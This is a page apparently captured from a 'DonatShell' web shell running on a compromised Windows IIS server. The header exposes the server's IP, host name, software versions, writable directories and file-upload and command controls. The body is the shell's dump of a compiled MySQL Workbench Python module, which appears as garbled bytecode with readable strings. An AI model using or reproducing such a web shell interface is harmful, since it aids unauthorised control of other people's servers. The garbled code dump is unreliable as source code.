DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/modules/wb_admin_config_file_be.pyc

,2Sc@sPddlZddlZddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZmZm
Z
mZmZddlmZmZmZmZmZddlmZmZmZmZddlmZddlmZiZded<d	Z d
Z!dZ"dZ#d
Z$dZ%de&fdYZ'dZ(dZ)dZ*de
fdYZ+de&fdYZ,dZ-dZ.dZ/dZ0dZ1dZ2dZ3dZ4d Z5d!Z6d"Z7d#Z8d$Z9d%Z:d&Z;d'Z<d(Z=d)Z>d*Z?dS(+iN(t	UtilitiestFormtnewBoxtnewLabelt
newTextBoxt	newButtontApp(tOperationCancelledErrortInvalidPasswordErrortPermissionDeniedErrort	splitpathtUsers(tlog_infot	log_debugt
log_debug2t
log_debug3(t
ServerProfile(tserver_version_str2tuples@grt.root.wb.options.options["@db.mysql.Table:tableEngine/Items"]sengine-lists\ncCs6tt|t|}t|d|!|d|!S(Ni(tmintlentcmp(tv1tv2tminlen((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytver_cmp,sc
Cs
|\}}}t}d}x3|D]+}t||dkr"|}t}Pq"q"W|r|dk	rxG|D]<}|d |d krjt||dkrt}nPqjqjWn|dk	rxG|D]<}	|d |	d krt||	dkrt}nPqqWqn|S(Nii(tFalsetNoneRtTrue(
tversiont
versions_listtinvertvlisttoutvertrettmatched_versiontvtivtov((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytoption_is_for_version1s,

	
	cCst}|dk	r|dk	rt|}t|}||krZ||krt}qq||kr||| krt}q||| krt}qqn|S(N(RRRR(tvdtvstskiptvdltvsl((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytis_opt_deprecatedTs	cCsd}ytjd|}|r|j}|ddk	rmt|dt|dt|df}qt|dt|df}nWn(tk
rd|dGt|GHnX|S(	Ns/([0-9]+)\.([0-9]+)\.([0-9]+)|([0-9]+)\.([0-9]+)iiiiis*ERROR! incorrect version attribute value 's', (Rtretmatchtgroupstintt
ValueErrorttype(tversion_strRtresttokens((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytparse_version_strhs0'
cCsd}d|krxt|dD]\}}|jd}|jd}|dkrd}|dkr|d|djd}|std|dq|}qn|dkr?d}|t|ddkr?|d|djd}|s|d|djd}n|s3td|dq<|}q?n||kr#||kr#t}	d	|kr|d	}
|
|ks|
d
ks|d
krt}	qnt}	|	r|}Pqq#q#Wn|S(
Ntvaluest	inversiont
outversioniis1Option %s has invalid version range for defaults
tcaptionictplatformtall(iii(icii(Rt	enumeratetgetRRRR(toptRR;tvaluetit	cur_valueR8R9ttmptplatform_matchtpl((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt
pick_valuexs@
$tOptioncBsheZd
d
dZdZdZdZdZdZdZ	dZ
dZd	ZRS(cCsG||_g|_|dk	rC|dk	rC|jj||fndS(N(tsectionR7Rtappend(tselfRHtlineR@((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt__init__s		cCs|jj||fdS(N(R7RI(RJRKR@((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRIscCst|jdkS(Ni(RR7(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytis_multilinescCs7t}t|jdkr3t|jtk}n|S(Ni(RRR7R2tbool(RJR!((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt
is_switch_optscCs|j|dS(Ni(R7(RJRA((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytvalscCs|j|dS(Ni(R7(RJRA((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRKscCs
t|jS(N(titerR7(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt__iter__scCs
t|jS(N(RR7(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt__len__scCs-tjg|jD]}t|d^qS(Ni(tmulti_separatortjoinR7tstr(RJtx((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt__str__scCstj|jS(N(tpprinttpformatR7(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt__repr__sN(
t__name__t
__module__RRLRIRMRORPRKRRRSRXR[(((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRGs								iiitApplyWizardcBs8eZdZdZdZdZddZRS(c	Cstj|d|jd||_||_|j|_tt	}|j
d|jd|jj}d|}|d7}|d7}|j
t|t	tttj|_|jjtttj|_|jjt|j
|jtt|j
|jtttt}|jdt}|jdt|_|jjd|jj|jt|_|jj|j|j
|jt	t|j|t	t|j|jt	t|j
|t	t	|j||j|j dd	|j|j!dS(
Ns)Apply Changes to MySQL Configuration FileishThe following changes were made to the configuration file "%s"
and will be saved when you click [Apply].sI
You may edit the File Preview if you wish to make more changes manually.sW
Please review carefully as some mistakes could prevent the MySQL server from starting.tApplytCancelii("RRLRt	set_titletserver_profiletctrl_bettarget_is_windowstis_winRRtset_paddingtset_spacingtconfig_file_pathtaddRRRtmformstBothScrollBarstfile_textboxtset_borderedtdiff_view_textboxRtset_textt
cancel_btntadd_clicked_callbacktcancel_clickedtview_btntswitch_viewtadd_endtset_contenttcentertset_sizet
apply_clicked(	RJtownerRcRbtcontenttfiletmsgt
button_boxt	apply_btn((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRLsH
		





	


cCs|jtkrK|jjt|jjt|jjdt|_n9|jjd|jjt|jjtt|_dS(NsView File PreviewsView Changes(t	view_diffRRltshowRnRRsRo(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRtscCs|jdk	r|jj}||jkrctjddddd}|tjkrcd}qcn|rt	j
jdnt	j
jdx
try$|j|t	j
jdWnt
k
r}tjd	d
ddd}|tjkrqqntk
r2}tjd	d
ddd}dStk
r}ddl}|jt	j
jdtjd	dt|j|fdddnXPqWn|jdS(NsConfirm Changes from PreviewsYou have made additional edits to the configuration file in preview.
If you wish to save these changes click [Yes], or if you wish to ignore these changes click [No].tYestNots.Saving Configuration File with Manual Edits...sSaving Configuration File...sConfiguration File Saved.s!Could not Save Configuration FilesdInvalid admin password while saving the configuration file.
Click Retry to enter the password again.tRetryR`s5Password input was cancelled. The file was not saved.tOKis Error Saving Configuration File.s8There was an error saving the configuration file.
%s: %s(t
accept_actionRRltget_string_valuetcfgfileRtshow_messageRjtResultOkRR>tset_status_textRRt
show_errorRt	Exceptiont	tracebackt	print_excR2R\tclose(RJt
text_from_boxtanswertexctrR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRy*sB		
			
0cCs*tjjdd|_|jdS(Ns$Cancelled Save of Configuration File(RR>RRRR(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRrSs	cCs_||_t|_||_|jj|j|jj||j|jd|j
dS(N(RRRRRlt	set_valueRnRtt
show_modalRRp(RJtchanges_textttemp_file_contentR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRXs			
N(R\R]RLRtRyRrRR(((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyR^s
	<		)	tWbAdminConfigFileBEcBseZdddYZdZdZdZdZdZdZdZ	d	Z
d
ZdZdZ
d
ZedZdZdZddZdZdZdZdZdZdZdZdZdZRS(t
ChangesetItemcBseZdZdZRS(cCs1||_||_||_||_d|_dS(N(tmodRHR@tnameRtorig_opt(RJtmtstnR#((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRLhs
				cCs|jtkrd}n0|jtkr0d}n|jtkrHd}n||jd|jdt|j7}|jr|dt|jd7}n|dS(	Nt+t-t*t:t=s;[t]s   (	RtADDtDELETEtCHANGERHRRVR@R(RJR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyR[os			)	(R\R]RLR[(((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRgs	cCs}g|_i|_d|_t|_i|_g|_d|_||_	||_
|j|_i|_
d|_|jdS(NR(t
file_linest
original_optst	file_nameRtneeds_root_for_file_readt	changesettsectionsRt
apply_formRbRcRdRet
opt_rindextoption_set_statstreload_possible_options(RJRbRc((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRL|s											cCs|jS(N(R(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_file_contentscCs|jS(N(R(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_option_set_statsscCs|jj}|rHt|dkrHt|tk	rHt|}qHn|sat|dkr|jjsvd}n*|jjj|jjj	|jjj
f}tdt|ntdt||j
||jj|_dS(NRiiis(Got server version "%s" from the server
sNote! Workbench uses server version '%s' from the server instance profile. Make the entry empty to auto pick version from the server.
(iii(Rbtserver_versionRVR2ttupleRRcttarget_versiontmajorNumbertminorNumbert
releaseNumberRRttransform_opts_fort	target_ostpossible_options(RJR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRs	*cCs|jS(N(R(RJ((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_possible_optionsscCstdt||fd}i}i|_d\}}}}xtjD]\}	}
i}g}x|
D]\}
}i}|
|d<g}xR|D]J}d|krt||ds|d7}qqnd|krt|d|r|d7}qqnt|||}|rtj|}|d=|j	||j
||d7}d|kr|jd	d
kr|j|d|d<nxP|j
|dD]}||	|
f|j|<qWqtd|d|d7}qW|jd
dt||d<|j
|qjWt||d<||d<|d7}|||	<qKWi|d6|d6|d6|d6|d6|_d||||||fGH|S(NsFiltering options for %s, "%s"
iiR:tversionst
deprecatedR7tdefaultR2tbooleanRs-Option "%s" skipped because of missing value
RcSst|d|dS(NR(R(tr1tr2((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt<lambda>stcontrolsR/tpositionRtaddedtskippedtskipped_no_valuesPrepared options set for server version '%s' on '%s' platform: added - %i, skipped - %i, skipped with no value - %i, deprecated - %i(iiii(RRVRtoptst	opts_listR&R,RFtcopytupdateRIR>tnormalize_booltoption_alt_namesR
tsortRR(RJRR;tposttabsRRRtno_valuettabnamettabconttnew_tab_contR/tgrpnametgrpconttgrpRR?R@tcoptR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRsX	


	
	


!

,cCsG|jdd|jddg}||krC|jd|n|S(NRt_i(treplacetinsert(RJRtnames((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRs$cCs5d}|jj|}|dk	r1|d}n|S(Ni(RRR>(RJRtodeftoption((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_option_defs

cCs|jj|ddS(Ni(NNN(RR>R(RJR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_option_locationscCs,g|jjD]}||kr|^qS(N(Rtkeys(RJtfragmentR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_options_containingscCst}t|tkr!|}n|rZt|tksKt|tkrZ|j}n|dks|dks|dks|dkrt}nE|dks|dks|dks|dks|d	krt}n|S(
Ntcheckedtonttruet1t	uncheckedtofftfalseRt0(RR2RNRVtunicodetlowerR(RJR@R!((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRs	*0	<	cCs|j|}d}d}|dk	rd|krU|d}|rU|j}qUnd|kr|d}|rt|tk	r|j}qn|dkr|j|}qn||fS(NR2RR(RRRR2RNR(RJRt
option_deftoption_typetoption_default((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_option_type_and_defaults

cCs||_t|_yt|Wn7tk
rS}|jtjkrZt|_qZnnXg}d}y|j	|}Wn^t
tfk
r}|jtjkr|}q|rtj
dd|dddqdSnX|j||r|ndS(NsRead Configuration Files\Configuration file '%s' can not be found. New file will be created when changes are applied.RR(RRRtopentIOErrorterrnotEACCESRRtread_mysql_cfg_filetOSErrortENOENTRtshow_warningtparse_file_contents(RJRtwarn_missingterrorR{t	exceptionte((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytopen_configuration_file,s0				
cCstd|d}|jsyLtd|jjj|dtjdd}tdt|p`gWqt	k
r}td|t
|_qXn|jrBtd|jjjd}|dk	rtj
}ny)td	|jjj|||}WqBtk
r>}td
||jjjd|qBXntd|r{g|jdD]}|jd
^qbSgSdS(NsReading config file "%s"
sTrying to read without sudo
tas_usert
user_passwords%i bytes read from file
s8Permissin denied, sudo needed to read config file: "%r"
sTrying to read with sudo
R|sReading...
sInvalid password error: "%r"
sConfig file read
s
s
(R
RRRct
server_helperRRtCURRENTRR	Rtpassword_handlertget_password_fortADMINRtreset_password_fortsplittrstrip(RJRR{RRRterrRK((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRMs4	
$	



)c	Cs|sd}n|jjr6dj|jd}n|jj}t|j\}}|j|rxd}t
j}n|jjj
d}t
j}y |j|j|d||Wn,tk
r}|jjjd|nX|j|j}|j|dS(NRs
s
R|s.wba.bak(RbRdRUR
RcRR
Rtcheck_dir_writableRRRR	R
Rtset_file_content_and_backupRRRR(	RJtuser_modified_file_contentthelpert	directorytfilenametpasswordRRtdata((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytsave_config_fileps$		 
c	s3i|_t|tks-t|tkr9||_ntd|jj}|s`d}ntd|g|_	|j
dk	ri}d}xt|jD]\}}|j
d}t|dkr|ddk	r|ddk	r|dd	kr'|j
d
}|j	j||fqc|jjddkrEqc|jd}||krc|dj
d
}	d}
|	|kr||	}
nt|}
|
||	<t|dkr|
j|dj|dj
d
n|
j|td|	kr`|j|	d}|r]|jd|	kr]t||d}
|
||	d<|
||	<q]q`qcqqW||_t|j	d|_	n|jjdkrdn|jjr/tfd|j	Dr/tjddddd|j	jt|jf|jjd	dndS(NsInternal error. File data passed is not in expected format. This is a bug, we would greatly appreciate if you file a bug report at http://bugs.mysql.com.tmysqlds'Parsing options only from section "%s"
Rs 
	it#t;t[s[]s!includeRs 	it R)it
disabledbycSst|d|dS(Ni(R(RWty((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRsc3s!|]\}}|kVqdS(N((t.0t_linet_section(RH(sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pys	<genexpr>ssRead Configuration FilesConfiguration file did not contain section [%s], so a new one was added.
If that is not correct, please fix the section name in the Server Instance Editor and reopen the administrator.Rs]
(RR2tlistRRRRbtconfig_file_sectionR
RRRR=tstripRRIRtfindR
RGRURRR>Rtsortedt
admin_enabledtanyRR(RJt	file_datatfilter_by_sectiontcur_file_original_optstcurrent_sectionRARKtslineR?toption_nameRR((RHsVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRs`	$		2

)		,	
c
Cstd|||f|dkr,t}n|dkrG|jj}n|j|}|jd}|jj|}|jd}|dkr|jd}td||||||f|dk	r%||jkr%t	j
t||d}	|j||	_|	|j
|<td|q%n|dkr||j
kr[|j
|=td|n|tkrt	j
t||d}	td	|t|	jf|	|j
|<qq|j|jd
}
|
tkrt	j
t||d}	||	_|	|j
|<qn||j
krT|j
|}|j|kr|jtkrQ|j
|=qQqnot	j
t|||}	|jj|r|j|j|kr|j|}t|	_||	_n|	|j
|<dS(
Ns Adding option: "%s", "%r", "%s"
R2RRRstadding boolean option "%s" with value = "%r", default = "%r", orig_opt = "%s", disabledby = "%r", definition = "%s"
sadded delete ci for "%s"
s%Removing existing changeset for "%s"
s'Adding ci=ADD for "%s" with value "%s"
i(N(N(R
RRRbR$RR>RRRRRRRRRVR@RRPRRRHRthas_key(
RJRR@RHRRRRRtcitorig_opt_valuetexisting_ciR?((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytoption_addedsT	 

	
(
	cCsAtd||jj|}|rC|jtkrC|j|=dS|j|}|jd}|dkr|jd}|jd}d}|jj|}	|jd}
td||	|
|f|	dkri|
dkr2|dkrdGHqf||jkrft	j
t||d}||j|<qfq|tkrt	j
t|||
}||j|<qq=d	GH|
dkr|dkrdGHqt	j
t||d
}|jj||_
||j|<||jkrt	j
t||d}||j|<qq=|
dkrKt	j
t||d
}|jj||_
||j|<q=|tkrrt	j
t|||
}nt	j
t|||
}|jj||_
||j|<n|jj|rd
}t	j
t|||}|j||_
||j|<n>|jj|r=|j|}|j|kr=|j|=q=ndS(Nsopt removed "%s"
R2RRRRs>removing "%s", orig_opt = "%s", off_value = "%r", odef = "%s"
s0Error, option definition does not have disbledbysgot orig optRtdel(R
RR>RRRRRRRRRRRRR0RH(RJRRHteciRRRRR1Rt	off_valueR@((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytoption_removed?sh


cCstd||ft|tk	r:dG|GdG|GHn|jj|r|j|}tjt|||}||_||j	|<ntjt
||||j	|<dS(NsOption changed: "%s", "%r"
sWarning setting optionsfrom non-tuple value(R
R2RRR0RRRRRR(RJRR@RHR?R1((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytoption_changeds
	cCsg}x|jjD]\}}|j|kr|jj|rc|j||j|jfq|j|}|dk	r|j	ddkrt
|}|dkrd}n|j||fq|j|t
|fqqW|S(NR2RRR(Rt	iteritemsRHRR0RIR@RRR>RV(RJRHtoptionsRR?Rtovalue((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_optionss !	 cCsg|jD]}|d^q
S(Ni(R(RJRW((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_sectionsscCsddg}t|jd}x}t|jD]l\}}|d|kr/|d|d<||kr|j|ddd|d<qt|j|d<q/q/W|S(Niii(RRR=R(RJtsection_nameR!tsections_nrRAtsec((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytget_section_line_nr_ranges c	Csi}xP|jD]B}x9|dD]-}x$|dD]}|d||d<q5Wq$WqWd}x|jjD]n}|j|j}|sqon|jttfkro|dkr|jdkr|d|j7}qqqoqoW|S(NR/RR2RRRs+Option '%s' is blank, but should be a path
(t
itervaluesRR>RRRRR@(	RJR;toption_typestitemtgrouptcontrolterrorstchangetotype((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytvalidate_changessc 	s|jdkrdStg|jD]#}|d|j|df^q d}fd}t|jj|}g}tj	|j
}x|D]}|j|j\}}	t
|jtkst
|jtkrt||j|_n||j|_|jtkrtd|t|j}
t|j}xtt|
|D]w}|jj|}
td|
|jfd}|j|dk	rdt|j|d}n|j|||
<q^W|
|kr4xt|
|D]8}tjt|j|j|j|}|j |qWqA|
|krAxgt||
D]S}d||jj|<tjt!|j|j|jj"|}|j |qPWqAq|jt!krx|jD]B\}}|d	kr|	t#kr|jd
||<qd||<qWq|jtkrj$|j}|ddkr9t
|jtksjt
|jtkr|d}x|jD]^}|dk	r|j%||jd|j&ddn|j%||jd|d7}q~Wq>|jdk	r|j%|d|jd|jdq>|j%|d|jdqAd
GHqqWx|D]}|jtkrL|j}|ddkrt
|j}|tks|t'kr|j%|d|jd|jdq|j%|d|jd|jdqd
GHqLqLWt(j)}t*j+j,|d|_-t.|j-d}d}|j/j0rTd}nx.|D]&}|j1d|}|j2|q[W|j3t4||j5|j/|_6g|D]$}|j|j|j|jf^q}g|D]$}|j|j|j|jf^q}||7}d}xLt7j8d|j
d|ddD])}||j9dr\|n|d7}q>W|szd}nd}y,t.|j-d}|j:}|j3Wn.t;k
r}d|j-dt|}nX|j6j<|||j=dS(NicSs+|}t|tkr't|}n|S(N(R2RNR0(R#trv((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytmap_boolscs\t|j|j}|jtkrX|dkrXt|jd|jd}n|S(Ni(RRRRH(RWRR(tsections_map(sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytsort_fns(sApplying change "%r"
sline_nr "%r", "%r"
s
s = RRs = 0
iRsCan't add optionsmysql_workbench_config.tempsw+bs
tatbRsThere are no changes.RsCan not read file (>RRtdictRRBR'RRCRtdeepcopyRRRR2R@R#RtmapRRR
RRtrangeRRKRRVRRRRHRIRRPRR>RR%Rttempfilet
gettempdirtostpathRUttemp_file_nameRRbRdRtwriteRR^RcRtdifflibtunified_difftendswithtreadt
BaseExceptionRR( RJRWRMRORItsecond_pass_changesRtcRRtorig_values_lentmodified_values_lenRAtline_nrtrvalueR1RKR@tlines_rangetlinenoR#tvtypettempdirtoutfteoltltchanges_for_applytsecond_pass_changes_for_applyRtdRR((RNsVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt
apply_changess
9	
*%**
+)

))	

11
('	cCscy#|j|j}|j|Wn9tk
r^}tjdd|j|fdddnXdS(Ns$Could not Re-read configuration files&An error occurred while reading %s:
%sRR(RRRRRR(RJRR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytrevertgs	(N(R\R]RRLRRRRRRRRRRRRRRRRRR4R8R9R=R>RBRKRqRr(((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRes4						>							!	#	0]	B	O						cCsdS(N((tctxtlines((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytrecreate_cfg_withtscCs|d}|d}d}d|kr3|d}ntd}|rR||d<n|jd}|jjd|f|jjd|ddS(Ntcfg_betsettingsRssys.config.sectioniRs]
(Rt
__import__t
serverInfoRRIR(RsRvRwRRH((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytinit_cfg_bexs




cCsDd}tj|d<|t_tt|d|d|d<dS(NcSs||dS(N((RJRRR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyRst
saved_showRwRcRv(R^RRR(RsR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_0s	
	cCsStdf}d}|d}t|jddk}|sFd}n|||fS(NsChecking clean config beRRvRis6Clean config be has non-zero number of stored options.(R\RR=(RsRR}Rvtcheck((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_1s
	cCstdf}t}d}|d}d
}xD|D]<}|j|}|tkr/|d|d7}t}q/q/Wd}xD|D]<}|j|}|tkr||d|d7}t}q|q|W|d}|||fS(NsChecking normalize_boolRRvRRRsFailed norm to True from 's'
RRRsFailed norm to False from '(scheckedsonstrue(s	uncheckedsoffsfalseR(R\RRR(RsRtstatusR}RvR7R#tnv((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_2s$





c
Cs
tdf}t}d}|d}|d}tjjtjd}||jd<|j|idd6d	d
6}xL|jdD];\}}	||kr|	||krt	}n||=qqWt
|dkrt	}d
dj|jd|}n|||fS(Ns)Checking load of values from config file.RRwRvs'test-files/wb_admin_config_file_be3.cnfssys.config.paths
'/usr/lib'Rt3306tportRisValues t,s were not parsed from config (R\RRXRYRUtgetcwdRyt
parse_fileR=RRR(
RsRRR}RwRvRttest_vectorR?R@((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_3s$



	$c	stdf}t}d}d}tjjtjd|jd<ttddd<}|_	t
fd}|jd	dd|j|d	d
d\}}|st
}||7}n|jd	dd|j|d	d
d\}}|s.t
}||7}n|jd	d|jt|jddkrvt
}|d7}n|||fS(NsWorking with simple options.RRws tmp/wb_admin_config_file_be4.cnfssys.config.pathRcRvcst}d}ttddd<}t|_|jt|jd}||ko||||kst}|}n||fS(NRRwRcRvR(	RRRRzRRRRR=R(RR@tmessageRR}RvR;(RsR(sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt
verify_options%
	
	Rt3307RsAdding option failed
t3308sChanging option failed
isOption remove failed(R(R(R\RRXRYRURRyRRRRzR4RqRR9R8RR=(	RsRRR}RwRvRt	curstatusR((RsRsVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_4s6
&%	






c	Cs?tdf}t}d}|d}tjjtjd|jd<}tt|d|d|d<}t	|||_
|j|jdd	|j
|jd
|jkrt}|d7}nd|jkrt}|d7}n@|jjd}|jd
}|dkr2t}|d7}n|||fS(NsCRemoving boolean with default true and disabledby (opt not in file)RRws tmp/wb_admin_config_file_be5.cnfssys.config.pathRcRvt	partitionRsskip-partitions'skip-partition was not added on disables%partition was not added. Check parseriRsRBroken parser. partition must have value 'disabledby' when skip-partition is used!(R\RRXRYRURRyRRRzRRR8RqRRR>RP(	RsRRR}RwRRvRPR@((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_5s0
&%
	





c	Cs=tdf}t}d}|d}tjjtjd|jd<}tt|d|d|d<}t	|||_
|j|jdd	|j
|j|jjd}|dkrt}|d
7}nQ|jd}|jd|dkr0t}|d
t|d|d7}n|||fS(Ns4Removing boolean with default true (opt not in file)RRws tmp/wb_admin_config_file_be6.cnfssys.config.pathRcRvs	temp-poolRs,temp-pool is not in file, or was not parsed.iRsFValue written in file is not the same as the off value in definition. s, (R\RRXRYRURRyRRRzRRR8RqRR>RRRRPRV(	RsRRR}RwRRvR?R((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_6%s*
&%
	



#cCstdf}t}d}|d}tjjtjd|jd<}tt|d|d|d<}t	|||_
|j|jdd	|j
|j|jjd}|dk	rt}|d
7}n|||fS(Ns:Switching off boolean with default false (opt not in file)RRws tmp/wb_admin_config_file_be7.cnfssys.config.pathRcRvs	core-fileRs<Bool option with default false was added to file on turn-off(R\RRXRYRURRyRRRzRRR8RqRR>RR(RsRRR}RwRRvR?((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_7As"
&%
	



c	Cstdf}t}d}|d}tjjtjd|jd<}tt|d|d|d<}t	|||_
|j|jddd
|j
|j|jjd}|dkrt}|d7}n|j|jdtkrt}|d
7}n|jdd
|jjd}|jtkrWt}|d7}n|j
|jt|jdkrt}|d7}n|||fS(Ns6Switching off boolean with default false (opt in file)RRws tmp/wb_admin_config_file_be8.cnfssys.config.pathRcRvs	core-fileRRs,Failed to add option for further remove testisValue has no on values@Removing opt with default = false should remove option from files Option was not removed from file(R(R\RRXRYRURRyRRRzRRR4RqRR>RRRRPR8RRRR(	RsRRR}RwRRvR?R1((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_8Xs<
&%
	








cCs6tdf}t}d}|d}tjjtjd|jd<}tt|d|d|d<}t	|||_
|j|jddd
|j
|j|jjd}|dkrt}|d7}nG|j|jdtkrt}|d
7}n|jdd
|jjd}|jtkrWt}|d7}n|jjd}|jtkrt}|d7}n|j
|j|jjd}	|jjd}
|	dkrt}|d7}n(|	jddkr
t}|d7}n|
